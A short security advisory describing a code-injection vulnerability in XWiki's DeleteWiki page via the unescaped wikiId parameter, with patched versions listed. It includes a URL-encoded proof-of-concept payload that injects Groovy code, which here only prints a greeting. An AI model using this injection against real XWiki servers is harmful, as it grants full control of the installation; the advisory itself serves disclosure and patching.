Any user with view rights WikiManager.DeleteWiki
can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the wikiId
url parameter.
A proof of concept exploit is to open <xwiki-host>/xwiki/bin/view/WikiManager/DeleteWiki?wikiId=%22+%2F%7D%7D+%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D where <xwiki-host> is the URL of your XWiki installation.
The problem has been patched on XWiki 13.10.11, 14.4.7, and 14.10.
The issue can be fixed manually applying this patch.
